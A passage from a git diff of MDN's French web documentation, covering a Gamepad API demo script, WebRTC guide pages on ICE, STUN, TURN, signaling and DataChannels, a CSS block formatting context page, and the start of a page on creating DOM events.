This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window.gamepadconnected") }} and {{ domxref("Window.gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a working demo and look at the full source code on Github.

-
var haveEvents = 'GamepadEvent' in window;
-var controllers = {};
-var rAF = window.mozRequestAnimationFrame ||
-  window.webkitRequestAnimationFrame ||
-  window.requestAnimationFrame;
-
-function connecthandler(e) {
-  addgamepad(e.gamepad);
-}
-function addgamepad(gamepad) {
-  controllers[gamepad.index] = gamepad; var d = document.createElement("div");
-  d.setAttribute("id", "controller" + gamepad.index);
-  var t = document.createElement("h1");
-  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
-  d.appendChild(t);
-  var b = document.createElement("div");
-  b.className = "buttons";
-  for (var i=0; i<gamepad.buttons.length; i++) {
-    var e = document.createElement("span");
-    e.className = "button";
-    //e.id = "b" + i;
-    e.innerHTML = i;
-    b.appendChild(e);
-  }
-  d.appendChild(b);
-  var a = document.createElement("div");
-  a.className = "axes";
-  for (var i=0; i<gamepad.axes.length; i++) {
-    var e = document.createElement("progress");
-    e.className = "axis";
-    //e.id = "a" + i;
-    e.setAttribute("max", "2");
-    e.setAttribute("value", "1");
-    e.innerHTML = i;
-    a.appendChild(e);
-  }
-  d.appendChild(a);
-  document.getElementById("start").style.display = "none";
-  document.body.appendChild(d);
-  rAF(updateStatus);
-}
-
-function disconnecthandler(e) {
-  removegamepad(e.gamepad);
-}
-
-function removegamepad(gamepad) {
-  var d = document.getElementById("controller" + gamepad.index);
-  document.body.removeChild(d);
-  delete controllers[gamepad.index];
-}
-
-function updateStatus() {
-  if (!haveEvents) {
-    scangamepads();
-  }
-  for (j in controllers) {
-    var controller = controllers[j];
-    var d = document.getElementById("controller" + j);
-    var buttons = d.getElementsByClassName("button");
-    for (var i=0; i<controller.buttons.length; i++) {
-      var b = buttons[i];
-      var val = controller.buttons[i];
-      var pressed = val == 1.0;
-      if (typeof(val) == "object") {
-        pressed = val.pressed;
-        val = val.value;
-      }
-      var pct = Math.round(val * 100) + "%"
-      b.style.backgroundSize = pct + " " + pct;
-      if (pressed) {
-        b.className = "button pressed";
-      } else {
-        b.className = "button";
-      }
-    }
-
-    var axes = d.getElementsByClassName("axis");
-    for (var i=0; i<controller.axes.length; i++) {
-      var a = axes[i];
-      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
-      a.setAttribute("value", controller.axes[i] + 1);
-    }
-  }
-  rAF(updateStatus);
-}
-
-function scangamepads() {
-  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
-  for (var i = 0; i < gamepads.length; i++) {
-    if (gamepads[i]) {
-      if (!(gamepads[i].index in controllers)) {
-        addgamepad(gamepads[i]);
-      } else {
-        controllers[gamepads[i].index] = gamepads[i];
-      }
-    }
-  }
-}
-
-window.addEventListener("gamepadconnected", connecthandler);
-window.addEventListener("gamepaddisconnected", disconnecthandler);
-if (!haveEvents) {
-  setInterval(scangamepads, 500);
-}
-

Specifications

-

{{page("/en-US/docs/Gamepad","Specifications")}}

-

Browser compatibility

-

{{page("/en-US/docs/Gamepad","Browser_compatibility")}}

-

 

-

 

-

 

diff --git a/files/fr/web/guide/api/webrtc/index.html b/files/fr/web/guide/api/webrtc/index.html deleted file mode 100644 index 2d516d62d5..0000000000 --- a/files/fr/web/guide/api/webrtc/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: WebRTC -slug: Web/Guide/API/WebRTC -tags: - - Intro - - WebRTC -translation_of: Web/API/WebRTC_API -translation_of_original: Web/Guide/API/WebRTC ---- -

WebRTC (où RTC signifie Real-Time Communications -Communications en temps réel-) est une technologie qui permet la transmission en continue (streaming) de l'audio/vidéo et le partage de données entre les navigateurs clients (peers). Comme un ensemble de normes (standards), le WebRTC fournit à n'importe quel navigateur la capacité de partager des données d'application et d'effectuer des téléconférences d’égal à égal, sans avoir à installer quelques plug-ins ou logiciels tiers.

-

Les composants WebRTC sont accessibles grâce aux APIs JavaScript : l'API de flux réseau (Network Stream), qui représente un flux de données audio ou vidéo ; l'API de Connexion (PeerConnection), qui permet à plusieurs utilisateurs de communiquer via leurs navigateurs ; et l'API DataChannel qui permet la communication d'autres types de données pour le jeu en temps réel, dialogue en ligne, transfert de fichiers, etc.

-
-

Note: Cette documentation n'est pas à jour et est un travail en cours. Vous voulez aider? Nous avons besoin de personnes pour parcourir ces docs et les mettre à jour, tout autant que de documenter les APIs dans notre référence d’API! Consultez notre guide à la page Débuter sur MDN si vous voulez aider.

-
-

Guide

-
-
- Introduction au WebRTC
-
- Guide d'introduction à ce qu’est WebRTC et comment ça marche.
-
- Communications Peer-to-peer avec WebRTC
-
- Comment faire pour effectuer des communications peer-to-peer en utilisant les APIs WebRTC.
-
- Prendre des photos avec la webcam
-
- Un guide d'introduction à ce qu’est WebRTC et à comment ça marche.
-
- Introduction à l'architecture WebRTC
-
- (AKA "WebRTC et l'océan des acronymes") WebRTC a beaucoup de parties différentes et cela peut être accablant et source de confusion pour les nouveaux venus. Cet article a pour but d'expliquer qu’elles sont toutes les pièces, et comment elles s'imbriquent.
-
- L’essentiel du WebRTC
-
- Maintenant que vous comprenez l'architecture WebRTC, vous pouvez passer à cet article, qui vous emmène à travers la création d'une application multi-navigateur RTC simple.
-
-

Référence

-
-
- Navigator.getUserMedia
-
- L'API pour capturer des médias (audio/video).
-
- RTCPeerConnection
-
- L'interface traitant en continu des données entre deux pairs.
-
- RTCDataChannel
-
- L'interface pour l'envoi des données arbitraires à travers la connexion de pair (peer connection).
-
diff --git a/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.html b/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.html new file mode 100644 index 0000000000..72bd60d899 --- /dev/null +++ b/files/fr/web/guide/api/webrtc/peer-to-peer_communications_with_webrtc/index.html @@ -0,0 +1,97 @@ +--- +title: Communication de pair-à-pair avec WebRTC +slug: WebRTC/communication-de-pair-a-pair-avec-WebRTC +translation_of: Web/Guide/API/WebRTC/Peer-to-peer_communications_with_WebRTC +--- +

{{SeeCompatTable}}

+

Les APIs WebRTC sont conçues pour permettre aux applications JavaScript de créer des connexions en temps-réel, avec des canaux audio, vidéo et/ou de données, entre utilisateurs à travers leurs navigateurs ou avec des serveurs supportant le protocole WebRTC. Il autorise aussi navigator.mozGetUserMedia() à accéder au microphone et à la webcam (getUserMedia() est en cours de standardisation par le groupe Media Capture Task, avec les APIs Recording).

+

La principale source des évolutions des spécifications de WebRTC sont les spécifications du W3C WebRTC et getUserMedia, ainsi que différents brouillons de IETF, principalement du groupe de travail rtcweb, mais aussi mmusic, rmcat et quelques autres. Une grande partie de l'implémentation dans Chrome et Firefox est basée sur le code libéré par Google à webrtc.org.

+

NOTE:  Les versions courantes de FlashBlock peuvent bloquer le tag HTML5 <video> par défaut; si c'est le cas, il faut lui dire d'autoriser le contenu de la page, ou désactiver cette option via Tools/Add-ons.

+

Un bon tutoriel sur les fonctionnalités de base de WebRTC peut-être trouvé sur HTML5 Rocks. On pourra trouver sur le site webrtc-landing une série de page de test basique.

+

Il est possible de faire un appel simple de personne à personne  (y compris à ceux utilisant Chrome) à apprtc.appspot.com.

+

Un article de Hacks décrit avec précision ce qu'il se passe dans une connexion RTCPeerConnecion (lien) :

+

Basics of RTCPeerConnection call setup

+

Spécifications

+ + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
WebRTC APIEn cours de définition 
getUserMedia APIEn cours definitionhttp://dev.w3.org/2011/webrtc/editor/getusermedia.html
+

Compatibilité des navigateurs

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support de baseOui{{property_prefix("webkit")}}Firefox 22{{CompatNo}}{{CompatNo}}{{CompatNo}}
DataChannelsA partir de Chrome 29Firefox 22{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FontionnalitéAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support préliminaireVia Chrome (behind flag)Activé sur versions Nightly et Aurora{{CompatNo}}{{CompatNo}}{{CompatNo}}
DataChannels{{CompatUnknown}}Activé sur versions Nightly et Aurora{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+

 

diff --git a/files/fr/web/guide/api/webrtc/webrtc_architecture/index.html b/files/fr/web/guide/api/webrtc/webrtc_architecture/index.html deleted file mode 100644 index 8b512d7127..0000000000 --- a/files/fr/web/guide/api/webrtc/webrtc_architecture/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Introduction à l'architecture WebRTC -slug: Web/Guide/API/WebRTC/WebRTC_architecture -tags: - - WebRTC -translation_of: Web/API/WebRTC_API/Connectivity ---- -

(AKA "WebRTC et l'océan des acronymes") WebRTC comporte de nombreuses parties distinctes et cela peut être accablant et source de confusion pour les nouveaux venus. Cet article a pour but d'expliquer quelles sont toutes ses parties, et comment elles s'imbriquent.

- -

Qu’est-ce que ICE?

- -

Interactive Connectivity Establishment (ICE) est un cadre qui permet à votre navigateur web de se connecter avec des pairs. Il y a plusieurs raisons pour qu’une connexion directe entre un pair A et un pair B ne fonctionne pas. Il a besoin de contourner les pare-feux qui pourraient empêcher la connexion de s’ouvrir, il doit vous attribuer une adresse unique si votre appareil n'a pas une adresse IP publique comme la plupart du temps et transmettre des données via un serveur si votre routeur ne permet pas de vous connecter directement avec des pairs. ICE utilise certaines des techniques suivantes décrites ci-dessous pour y parvenir :

- -

Qu’est-ce que STUN?

- -

Session Traversal Utilities for NAT (STUN) (acronyme dans un acronyme) est un protocole qui permet de découvrir votre adresse publique et de déterminer toute restriction dans votre routeur qui empêcherait une connexion directe avec un pair.

- -

Le client enverra une demande à un serveur STUN sur internet qui répondra avec l'adresse du client public et informera si le client est accessible derrière un routeur NAT.

- -

An interaction between two users of a WebRTC application involving a STUN server.

- -

Qu’est-ce que NAT?

- -

Network Address Translation (NAT) est utilisé pour donner à votre appareil une adresse IP publique. Un routeur aura une adresse IP publique et chaque périphérique connecté au routeur aura une adresse IP privée. Les demandes seront traduites de l'adresse IP privée de l'appareil vers l'IP publique du routeur avec un port unique. De cette façon, vous n'avez pas besoin d’avoir une adresse IP publique unique pour chaque périphérique, mais pouvez encore être découvert sur internet.

- -

Certains routeurs auront des restrictions sur ceux qui peuvent se connecter aux dispositifs sur le réseau. Cela peut signifier que, même si nous avons l'adresse IP publique, trouvée par le serveur STUN, tout le monde ne peut pas créer une connexion. Dans ce cas, il faut se tourner vers le TURN.

- -

Qu’est-ce que TURN?

- -

Certains routeurs utilisant NAT emploient une restriction appelée ‘Symmetric NAT’. Cela signifie que le routeur n'accepte que les connexions de pairs auxquelles vous vous êtes déjà connecté.

- -

Traversal Using Relays around NAT (TURN) Doit contourner la restriction de NAT Symétrique en ouvrant une connexion avec un serveur TURN et retransmettre toutes les informations par le biais de ce serveur. Vous devrez créer une connexion avec un serveur TURN et dire à tous les pairs d'envoyer des paquets au serveur qui vous seront alors expédiés. Cela vient évidemment avec une certaine surcharge et n'est donc utilisé que s'il n'y a pas d'autres alternatives.

- -

Une interaction entre deux utilisateurs d'une application WebRTC impliquant des serveurs STUN et TURN.

- -

Qu’est-ce que SDP?

- -

Session Description Protocol (SDP) est une norme décrivant le contenu multimédia de la connexion comprenant la résolution, les formats, les codecs, le cryptage, etc., afin que les deux pairs puissent se comprendre une fois le transfert des données en cours. Ce n'est pas le média lui-même, mais plus les métadonnées.

- -

Qu’est-ce qu'une Offre/Réponse et un Canal de Signal?

- -

Malheureusement WebRTC ne peut pas créer de connexions sans une sorte de serveur au milieu. Nous appelons cela le Canal de Signal (Signal Channel). C'est une sorte de canal de communication pour échanger des informations avant de configurer une connexion, que ce soit par e-mail, carte postale ou pigeon voyageur... C’est comme bon vous semble.

- -

L’information que nous avons besoin d'échanger est l'Offre et la Réponse qui contient juste le SDP mentionné ci-dessus.

- -

Le pair A, qui sera l'initiateur de la connexion, va créer une offre. Il enverra ensuite cette offre au pair B en utilisant le Canal de Signal choisi. Le pair B recevra l’offre du Canal de Signal et créera la Réponse. Il renverra ensuite tout ceci au pair A via le Canal de Signal.

- -

Qu’est-ce qu’un candidat ICE?

- -

Autant que d'échanger des informations sur les médias (cf. Offre/Réponse et SDP), les pairs doivent échanger des informations sur la connexion réseau. Ceci est connu comme étant un candidat ICE et détaille les méthodes disponibles que le pair est en mesure de communiquer (directement ou via un serveur TURN).

- -

L'échange entier dans un diagramme compliqué

- -

Un schéma architectural complet montrant l'ensemble du processus WebRTC.

diff --git a/files/fr/web/guide/api/webrtc/webrtc_basics/index.html b/files/fr/web/guide/api/webrtc/webrtc_basics/index.html deleted file mode 100644 index e550e4adbb..0000000000 --- a/files/fr/web/guide/api/webrtc/webrtc_basics/index.html +++ /dev/null @@ -1,360 +0,0 @@ ---- -title: L’essentiel du WebRTC -slug: Web/Guide/API/WebRTC/WebRTC_basics -tags: - - WebRTC -translation_of: Web/API/WebRTC_API/Signaling_and_video_calling -translation_of_original: Web/API/WebRTC_API/WebRTC_basics ---- -
-

Maintenant que vous comprenez l'architecture WebRTC, vous pouvez passer à cet article, qui vous emmène à travers la création d'une application RTC multi-navigateurs.A la fin de cet article vous devriez pouvoir créer un canal de données et de médias  pair à pair qui fonctionne

-
- -

Contenu semi-ancien, à partir de RTCPeerConnection

- -

Les informations ci-dessous proviennent de RTCPeerConnection; elles  pourraient rester ici, comme aller ailleurs. Mais elles ne font pas partie de cette page. Alors pendant que je trie cette page, elles seront ici, jusqu'à ce que je sache où elles appartiennent pour de vrai.

- -

Usage basique

- -

l'utilisation de RTCPeerConnection implique la négociation d'une connexion entre votre machine  et une machine distante,et ce, en générant {{interwiki("wikipedia", "Session Description Protocol")}} a échanger entre les deux. L'appelant commence le processus en envoyant une offre à l'appareil distant, qui répond par l'acceptation ou le rejet de la demande de connexion.

- -

Les deux parties (l'appelant et l'appelé) doivent mettre en place leurs propres instances de RTCPeerConnection pour représenter leurs extrémités de la connexion peer-to-peer:

- -
var pc = new RTCPeerConnection();
-pc.onaddstream = function(obj) {
-  var vid = document.createElement("video");
-  document.appendChild(vid);
-  vid.srcObject = obj.stream;
-}
-
-// Helper functions
-function endCall() {
-  var videos = document.getElementsByTagName("video");
-  for (var i = 0; i < videos.length; i++) {
-    videos[i].pause();
-  }
-
-  pc.close();
-}
-
-function error(err) {
-  endCall();
-}
- -

Initialiser un appel

- -

l'appelant doit utiliser {{domxref("navigator.getUserMedia()")}} pour obtenir un flux vidéo, puis ajouter ce flux à l'instance de RTCPeerConnection. Une fois que cela a été fait, il doit appeler {{domxref("RTCPeerConnection.createOffer()")}} pour créer une offre,puis la configurer et l'envoyer a un serveur faisant office d'intermediaire.

- -
// recuperer la liste des "amis" a partir du serveur
-// l'utilisateur selectionne un amis avec qui lancer la connection
-navigator.getUserMedia({video: true}, function(stream) {
-  // l'ajout d'un stream locale ne declanche pas onaddstream,
-  // donc il faut l'appeler manuellement.
-  pc.onaddstream = e => video.src = URL.createObjectURL(e.stream);
-  pc.addStream(stream);
-
-  pc.createOffer(function(offer) {
-    pc.setLocalDescription(offer, function() {
-      // envoi de l'offre au serveur qui se charge de la transmettre a "l'ami" choisit precedemment.
-    }, error);
-  }, error);
-});
- -

Répondre à un appel

- -

sur l'autre machine, l'ami recevra l'offre à partir du serveur en utilisant le protocole approprié (définit par le serveur). Une fois que l'offre arrive,{{domxref("navigator.getUserMedia()")}} est une fois de plus appelée pour créer le second flux, qui est ajouté à la RTCPeerConnection. Un  objet {{domxref("RTCSessionDescription")}} est créé, et mis en place comme la description du distant en appelant {{domxref("RTCPeerConnection.setRemoteDescription()")}}.

- -

Ensuite, une réponse est créée en utilisant {{domxref("RTCPeerConnection.createAnswer()")}} et renvoyé au serveur, qui la transmet à l'appelant.

- -
var offer = getOfferFromFriend();
-navigator.getUserMedia({video: true}, function(stream) {
-  pc.onaddstream = e => video.src = URL.createObjectURL(e.stream);
-  pc.addStream(stream);
-
-  pc.setRemoteDescription(new RTCSessionDescription(offer), function() {
-    pc.createAnswer(function(answer) {
-      pc.setLocalDescription(answer, function() {
-        // envoi de la réponse au serveur qui la transmettra a l'appelant
-      }, error);
-    }, error);
-  }, error);
-});
- -

Gestion de la réponse

- -

retour a la première machine, qui recois la reponse. une fois cette dernière arrivée,l'appelant utilise {{domxref("RTCPeerConnection.setRemoteDescription()")}} pour définir la réponse comme la description de l'autre l'extrémité de la connexion. 

- -
// pc a été déclaré précédemment, lors de l'envoi de l'offre.
-var offer = getResponseFromFriend();
-pc.setRemoteDescription(new RTCSessionDescription(offer), function() { }, error);
- -

Ancien contenu en approche!

- -

Tout ce qui est en dessous de ce point est potentiellement obsolète. Il est toujours là en attente d'examen et d'intégration possible dans d'autres parties de la documentation où il serait encore valides.

- -
-

Ne pas utiliser les examples de cette page. Voir l'article signalisation et appel vidéo ,pour des example mis a jour sur l'utilisation des medias WebRTC.

-
- -

Note

- -

Cette page contient des informations périmées selon http://stackoverflow.com/a/25065359/3760500

- -
-

Peu importe ce que la page de MDN indique, RTPDataChannels est très désuet (faites connaître l'URL). Firefox et Chrome supportent les spec DataChannels maintenant. Idem pour DTLSSRTPKeyAgreement je pense.

-
- -

Shims (Bibliothèque d’interception d’API)

- -

Comme vous pouvez l'imaginer, avec une API aussi jeune, vous devez utiliser les préfixes de navigateur et les positionner dans des variables communes.

- -
var PeerConnection = window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
-var IceCandidate = window.mozRTCIceCandidate || window.RTCIceCandidate;
-var SessionDescription = window.mozRTCSessionDescription || window.RTCSessionDescription;
-navigator.getUserMedia = navigator.getUserMedia || navigator.mozGetUserMedia || navigator.webkitGetUserMedia;
- -

PeerConnection

- -

C'est le point de départ pour créer une connexion avec un pair. Il accepte des options de configuration sur les serveurs ICE à utiliser pour établir une connexion.

- -
var pc = new PeerConnection(configuration, options);
- -

RTCConfiguration

- -

L'objet {{domxref("RTCConfiguration")}} contient l’information sur les serveurs TURN et/ou STUN à utiliser pour ICE. Ceci est requis pour s'assurer que la plupart des utilisateurs peuvent en fait créer une connexion en évitant les restrictions du NAT et du pare-feu.

- -
var configuration = {
-    iceServers: [
-        {url: "stun:23.21.150.121"},
-        {url: "stun:stun.l.google.com:19302"},
-        {url: "turn:numb.viagenie.ca", credential: "webrtcdemo", username: "louis%40mozilla.com"}
-    ]
-}
- -

Google met à disposition un serveur STUN public que nous pouvons utiliser. J'ai également créé un compte chez http://numb.viagenie.ca/ pour un accès gratuit à un serveur TURN. Vous pouvez faire la même chose et les remplacer par vos propres informations d'identification.

- -

options (Cf. "Note" avant)

- -

Selon le type de connexion, vous devez passer des options.

- -
var options = {
-    optional: [
-        {DtlsSrtpKeyAgreement: true},
-        {RtpDataChannels: true}
-    ]
-}
- -

DtlsSrtpKeyAgreement est exigé pour Chrome et Firefox pour interagir.

- -

RtpDataChannels est nécessaire si nous voulons utiliser l'API DataChannels sur Firefox.

- -

ICECandidate

- -

Après avoir créé la connexion et en passant par les serveurs STUN et TURN disponibles, un événement sera déclenché une fois que le framework ICE aura trouvé certains « candidats » qui permettront de vous connecter avec un pair. Ceci est reconnu comme étant un candidat ICE et exécute une fonction de rappel sur PeerConnection#onicecandidate.

- -
pc.onicecandidate = function (e) {
-    // candidate exists in e.candidate
-    if (e.candidate == null) { return }
-    send("icecandidate", JSON.stringify(e.candidate));
-    pc.onicecandidate = null;
-};
- -

Lorsque le rappel est exécuté, nous devons utiliser le canal de signal pour envoyer le Candidat au pair. Sur Chrome, on trouve habituellement plusieurs candidats ICE, nous n’en avons besoin que d'un seul donc j'en envoie généralement une puis supprimer le descripteur. Firefox inclut le Candidat dans l'Offre SDP.

- -

Canal de Signal

- -

Maintenant que nous avons un candidat ICE, nous devons l’envoyer à nos pairs afin qu'ils sachent comment se connecter avec nous. Toutefois, cela nous laisse face à une problématique de l’œuf et de la poule; Nous voulons que PeerConnection envoie des données à un pair, mais avant cela, nous devons lui envoyer des métadonnées…

- -

C'est là qu'intervient le canal de signal. C'est n'importe quel mode de transport de données qui permet aux deux pairs d’échanger des informations. Dans cet article, nous allons utiliser FireBase parce que c'est incroyablement facile à installer et ne nécessite aucun hébergement ou code serveur.

- -

Pour l'instant imaginez seulement que deux méthodes existent: send() va prendre une clé et lui affecter des données et recv() appelle un descripteur lorsqu'une clé a une valeur.

- -

La structure de la base de données ressemble à ceci :

- -
{
-    "": {
-        "candidate:": …
-        "offer": …
-        "answer": …
-    }
-}
- -

Les connexions sont divisées par un roomId et stockeront 4 éléments d'information, le candidat ICE de l'auteur de l'offre, le candidat ICE du répondeur, l'offre SDP et la réponse SDP.

- -

Offre

- -

Une offre SDP (Session Description Protocol) et le méta données qui décrit aux autres pairs le format attendu(video, formats, codecs, cryptage, résolution, taille, etc etc).

- -

Un échange nécessite une offre d'un pair, alors l'autre pair doit recevoir l'offre et offrir en retour une réponse.

- -
pc.createOffer(function (offer) {
-    pc.setLocalDescription(offer);
-
-    send("offer", JSON.stringify(offer));
-}, errorHandler, constraints);
- -

errorHandler

- -

S'il y avait un problème lors de la génération d’une offre, cette méthode sera exécutée avec les détails de l'erreur comme premier argument.

- -
var errorHandler = function (err) {
-    console.error(err);
-};
- -

constraints

- -

Options pour l'offre SDP.

- -
var constraints = {
-    mandatory: {
-        OfferToReceiveAudio: true,
-        OfferToReceiveVideo: true
-    }
-};
- -

OfferToReceiveAudio/Video Dit aux autres pair que vous désirez recevoir de la vidéo ou de l'audio de leur part. Ce n'est pas nécessaire pour DataChannels.

- -

Une fois que l'offre a été générée nous devons définir le SDP local à la nouvelle offre et l’envoyer par le canal de signal aux autres pairs et attendre leur réponse SDP.

- -

Réponse

- -

Une réponse SDP est comme une offre, mais est une réponse ; un peu comme répondre au téléphone. Nous pouvons seulement émettre une réponse qu’après avoir reçu une offre.

- -
recv("offer", function (offer) {
-    offer = new SessionDescription(JSON.parse(offer))
-    pc.setRemoteDescription(offer);
-
-    pc.createAnswer(function (answer) {
-        pc.setLocalDescription(answer);
-
-        send("answer", JSON.stringify(answer));
-    }, errorHandler, constraints);
-});
- -

DataChannel

- -

J'expliquerai d'abord comment utiliser PeerConnection pour l'API DataChannels et le transfert de données arbitraires entre des pairs.

- -

Note: Au moment de l’écriture de cet article, l'interopérabilité entre Chrome et Firefox n'est pas possible avec DataChannels. Chrome prend en charge un protocole similaire mais privé et soutiendra le protocole standard bientôt.

- -
var channel = pc.createDataChannel(channelName, channelOptions);
- -

L'auteur de l'offre doit être le pair qui crée le canal. Le répondeur recevra le canal dans le rappel (callback) ondatachannel dans le PeerConnection. Vous devez appeler createDataChannel() une fois avant de créer l'offre.

- -

channelName

- -

Il s'agit d'une chaîne qui agit comme une étiquette pour le nom de votre canal. AVERTISSEMENT : Assurez-vous que votre nom de canal n'a pas d'espaces ou Chrome va échouer sur createAnswer().

- -

channelOptions

- -
var channelOptions = {};
- -

Ces options ne sont pas bien supportées sur Chrome donc vous pouvez laisser ça vide pour l'instant. Vérifiez le RFC pour plus d'informations sur les options.

- -

Méthodes et événements de canal

- -

onopen

- -

Exécuté lorsque la connexion est établie.

- -

onerror

- -

Exécuté s'il y a une erreur de création de la connexion. Le premier argument est un objet d'erreur.

- -
channel.onerror = function (err) {
-    console.error("Channel Error:", err);
-};
- -

onmessage

- -
channel.onmessage = function (e) {
-    console.log("Got message:", e.data);
-}
- -

Le cœur de la connexion. Lorsque vous recevez un message, cette méthode s’exécute. Le premier argument est un objet d'événement qui contient les données, heure de réception et autres informations.

- -

onclose

- -

Exécuté si l'autre pair ferme la connexion.

- -

Lier les événements

- -

Si vous êtes le créateur du canal(l'auteur de l'offre), vous pouvez lier des événements directement à la DataChannel que vous avez créé avec createChannel. Si vous êtes l'auteur de la réponse, vous devez utiliser le callback ondatachannel dans le PeerConnection afin d'accéder au même canal.

- -
pc.ondatachannel = function (e) {
-    e.channel.onmessage = function () { … };
-};
- -

Le canal est disponible dans l’objet événement passé dans le descripteur en tant que e.channel.

- -

send()

- -
channel.send("Hi Peer!");
- -

Cette méthode vous permet d'envoyer des données directement au pair! Incroyable. Vous devez envoyer un String, Blob, ArrayBuffer ou ArrayBufferView, alors assurez-vous de "stringifier" les objets.

- -

close()

- -

Ferme le canal une fois que la connexion doit se terminer. Il est recommandé de le faire sur l’ unload de la page.

- -

Media

- -

Maintenant nous allons couvrir la transmission de médias tels que l'audio ou la vidéo. Pour afficher la vidéo et l'audio, vous devez inclure un tag <video> dans le document avec l'attribut autoplay.

- -

Obtenir les médias de l'utilisateur

- -
<video id="preview" autoplay></video>
-
-var video = document.getElementById("preview");
-navigator.getUserMedia(mediaOptions, function (stream) {
-    video.src = URL.createObjectURL(stream);
-}, errorHandler);
- -

mediaOptions

- -

Les contraintes sur les types de médias que vous souhaitez renvoyer de l'utilisateur.

- -
var mediaOptions = {
-    video: true,
-    audio: true
-};
- -

Si vous voulez juste une conversation audio, supprimez la clé video.

- -

errorHandler

- -

Exécuté s'il y a une erreur retournée par le support demandé.

- -

Événements Médias et Méthodes

- -

addStream

- -

Ajoute le flux de getUserMedia au PeerConnection.

- -
pc.addStream(stream);
- -

onaddstream

- -
<video id="otherPeer" autoplay></video>
-
-var otherPeer = document.getElementById("otherPeer");
-pc.onaddstream = function (e) {
-    otherPeer.src = URL.createObjectURL(e.stream);
-};
- -

Exécuté lorsque la connexion a été mise en place et que l'autre pair a ajouté le flux de données pour la connexion avec addStream. Vous avez besoin d'un autre tag <video> pour afficher les médias de l'autre pair.

- -

Le premier argument est un objet d'événement avec les flux de média de l'autre pair.

- -

Afficher la Source

- -

Vous pouvez voir la source développée à partir de tous les extraits de code de cet article à mon repo WebRTC.

- -
    -
  • -

    Exemple de DataChannels : code, demo

    -
    • -
  • -

    Exemple de média : code, demo

    -
    • -
diff --git a/files/fr/web/guide/css/block_formatting_context/index.html b/files/fr/web/guide/css/block_formatting_context/index.html new file mode 100644 index 0000000000..5b324fc6bb --- /dev/null +++ b/files/fr/web/guide/css/block_formatting_context/index.html @@ -0,0 +1,44 @@ +--- +title: Contexte de formatage de blocs +slug: Web/CSS/Block_formatting_context +tags: + - CSS + - Reference + - Web +translation_of: Web/Guide/CSS/Block_formatting_context +--- +
{{CSSRef}}
+ +

Un contexte de formatage de blocs (block formatting context) est une partie du rendu visuel par le CSS, d'une page web. C'est la région qui délimite la mise en page des blocs et dans laquelle les éléments flottant interagissent les uns avec les autres.

+ +

Un contexte de formatage de blocs est créé dans les situations suivantes :

+ +
    +
  • L'élément racine ou quelque chose qui le contient
    • +
  • Les éléments flottants (éléments avec une valeur pour la propriété {{cssxref("float")}} autre que none)
    • +
  • Les éléments avec une position absolue (éléments avec la propriété {{cssxref("position")}} à absolute ou fixed)
    • +
  • Les blocs en ligne (éléments avec la propriété {{cssxref("display")}} à inline-block)
    • +
  • Les cellules de tableau (éléments avec {{cssxref("display")}}: table-cell, ce qui est le défaut pour les cellules de tableau)
    • +
  • Les titres de tableau (éléments avec {{cssxref("display")}}: table-caption, ce qui est le défaut pour {{HTMLElement("caption")}})
    • +
  • Les éléments où {{cssxref("overflow")}} a une valeur autre que visible
    • +
  • Les boîtes flexibles (éléments avec {{cssxref("display")}}: flex ou inline-flex)
    • +
  • {{cssxref("display")}}: flow-root
    • +
+ +

Un contexte de formatage de blocs contient tout ce qui se trouve dans l'élément qui l'a créé, et qui ne se trouve pas aussi dans un élément descendant définissant un nouveau contexte de formatage de blocs.

+ +

Les contextes de formatage de blocs sont important pour le positionnement (voir {{cssxref("float")}} et {{cssxref("clear")}}). Les règles de positionnement et de "libération" des blocs flottants (par {{cssxref("clear")}}) s'appliquent seulement aux éléments au sein d'un même contexte de formatage de blocs. Les blocs flottants n'influent pas sur le positionnement des éléments se trouvant dans d'autres contextes de formatage de blocs, et {{cssxref("clear")}} ne libère que des blocs flottants dans le même contexte de formatage de blocs.

+ +

Spécifications

+ + + +

Voir aussi

+ +
    +
  • {{cssxref("float")}}
    • +
  • {{cssxref("clear")}}
    • +
  • {{cssxref("display")}}
    • +
diff --git a/files/fr/web/guide/dom/events/creating_and_triggering_events/index.html b/files/fr/web/guide/dom/events/creating_and_triggering_events/index.html deleted file mode 100644 index 686d138cfc..0000000000 --- a/files/fr/web/guide/dom/events/creating_and_triggering_events/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Création et déclenchement d'événements -slug: Web/Guide/DOM/Events/Creating_and_triggering_events -tags: - - API - - Avancé - - DOM - - Guide - - JavaScript - - évènements -translation_of: Web/Guide/Events/Creating_and_triggering_events ---- -

Cet article montre comment créer et distribuer des événements DOM. De tels événements sont généralement appelés événements synthétiques afin de les distinguer des événements levés par le navigateur lui-même.

- -

Création d'événements personnalisés

- -

Les événements peuvent être créés avec le constructeur Event de cette manière :

- -
var event = new Event('build');
-
-//Ecouter l'événement.
-elem.addEventListener('build', function (e) { ... }, false);
-
-//distribuer l'événement.
-elem.dispatchEvent(event);
- -

Ce constructeur est pris en charge par la plupart des navigateurs modernes (Internet Explorer étant l'exception). Pour une approche plus verbeuse (qui fonctionne avec Internet Explorer), voir l'ancienne approche ci-dessous.

- -

Ajout de données personnalisée - CustomEvent ()

- -

Pour ajouter d'autres données à l'objet événement, il existe l'interface CustomEvent. Dans cette interface, la propriété detail peut être utilisée pour transmettre des données personnalisées. Par exemple, l'événement peut être créé de la manière suivante :

- -
var event = new CustomEvent('build', { 'detail': elem.dataset.time });
- -

Cela permet à la fonction qui capture l'événement (la fonction de rappel) d'accéder aux données supplémentaires :

- -
function eventHandler(e) {
